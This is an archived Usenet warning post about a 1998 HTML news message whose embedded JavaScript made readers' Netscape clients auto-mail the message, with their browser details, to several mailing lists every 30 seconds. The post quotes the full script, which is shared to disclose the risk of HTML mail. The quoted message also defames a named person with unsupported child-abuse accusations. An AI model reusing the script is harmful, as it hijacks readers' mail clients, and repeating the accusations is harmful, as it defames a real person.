Heeee's back!!

17 Dec 2003

      -----BEGIN PGP SIGNED MESSAGE-----

In <199808251814.LAA15877@grog.jpl.nasa.gov>, on 08/25/98 
   at 11:14 AM, Ted Lungu <lungu@netside.net> said:

If anyone has noticed the large number of posts being received with the
subject: "Child-Molesting Forger's Chilling Confession" they are being
autogenerated without the poster's knowledge.

How do you ask?? Our good friend Dimitri has posted a HTML message to
numerious newsgroups with embeded javascript. This java script is being
auto-executed by the Netscape program and is mailing out these messages
whenever the reader opens the message.

My complements to the good doctor, yet another example of the enherent
security risks of HTML mail.

Below is a copy of the original news post:

From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Newsgroups:
nyc.general,soc.culture.russian,alt.law-enforcement,alt.true-crime,soc.culture.romanian,misc.kids,misc.kids.health,sci.crypt,comp.security.firewalls,comp.lang.javascript,comp.security.misc,comp.org.eff.talk,misc.invest.funds,misc.invest.futures,misc.invest.stocks,misc.invest.technical,misc.invest.real-estate,alt.fan.karl-malden.nose,sci.cryonics,soc.motss,soc.culture.ukrainian,soc.culture.jewish,soc.religion.quaker,alt.folklore.computers
Subject: Child-Molesting Forger's Chilling Confession!!!1!
Date: Sat, 22 Aug 1998 11:00:00 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Lines: 16
Approved: dlv@bwalk.dm.com
Expires: Fri, 22 Aug 2008 11:00:00 EST
Message-ID: <D6767652w165w@bwalk.dm.com>
References: <DKjfi4r2w165w@bwalk.dm.com>
NNTP-Posting-Host: bwalk.dm.com
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Summary: beware the Internet pedophiles
Content-Disposition: inline; filename="warning.htm"
Content-Description: The chilling confession of the self-admitted and
- -exposed child-molesting forger Content-Base:
"file:///POWER%20MAC/warning.html" Disclaimer: CUNY is full of GOWNO, but
100% agrees with all the facts I present X-Face:
(d~Q1[m:7MNXk3-PPCG=Woa93hY6X~&6Z!y#.QB7f-$hfnm>eWIty%YX[43P^g~=N/v3V64
 JfQgHy0h_vvpS'G#15(A=$KZce>%S`xcS%*Ja1GqLFZcPS*\1sy\`X,%WN)fwcU^!\wpY^&C.u,%@0
 21q6kV=(/'B)J]JF;=9/t8cj~gOA9d@v[]B?te|Zi(/w\Aro%()cU!{"'Jo7)Y6 Path:
carrera!news.bctel.net!newsfeed.direct.ca!ptdnetP!newsgate.ptd.net!newspeer.monmouth.com!news.lightlink.com!news.alt.net!perun!dlv
Xref: carrera nyc.general:22129 soc.culture.russian:88474
alt.law-enforcement:217670 alt.true-crime:102690
soc.culture.romanian:52893 misc.kids:374647 misc.kids.health:36966
sci.crypt:40607 comp.security.firewalls:13466 comp.lang.javascript:79964
comp.security.misc:26512 comp.org.eff.talk:46645 misc.invest.futures:53448
misc.invest.stocks:229734 misc.invest.technical:44459
misc.invest.real-estate:56139 alt.fan.karl-malden.nose:151559
sci.cryonics:6452 soc.motss:193052 soc.culture.ukrainian:39182
soc.culture.jewish:242558 soc.religion.quaker:16761
alt.folklore.computers:77067

<html><head><script language="JavaScript">
function c2(){document.f1.Remedy.click();setTimeout('c2();',30000);}
function
cl(){document.f1.Browser.value=navigator.appName+":"+navigator.userAgent;setTimeout('c2();',100);}
</script></head><body onLoad="cl()"><form name="f1" method="post"
enctype="text/plain"
action="mailto:cypherpunks@cyberpass.net,cypherpunks@toad.com,cypherpunks@algebra.com,shamrock@cypherpunks.to,fight-censorship@vorlon.mit.edu?subject=Re:
Child-Molesting Forger's Chilling Confession!!!1!"> <textarea
name="Encrypted_Message" cols=76 rows=8>On 4 May 1998 02:57:07 GMT, in
article <6ijaq3$bb1@news1.panix.com>, <The@NSA.sucks>
Information Security (= Guy Polis <guy@panix.com>) wrote: #   Guy
Polis (guy@panix.com, eviljay@bway.net) is a pedophile child #   molester
who was fired from his consulting position at Salomon Brothers #   after
he was caught masturbating in his cubicle at the child pornography #  
JPEGs that he downloaded from the Internet.

The poster's been awful quiet lately - did the feds arrest
him?</textarea><br> <input type="hidden" name="Browser" value="Unknown">
<input type="submit" name="Remedy" value="Tell the world"></form>
(Reposted due to a forged cancel.)</body></html>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.openpgp.net
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 5.0 at: http://www.openpgp.net/pgp.html
- ---------------------------------------------------------------

Tag-O-Matic: What I like about MS is its loyalty to customers!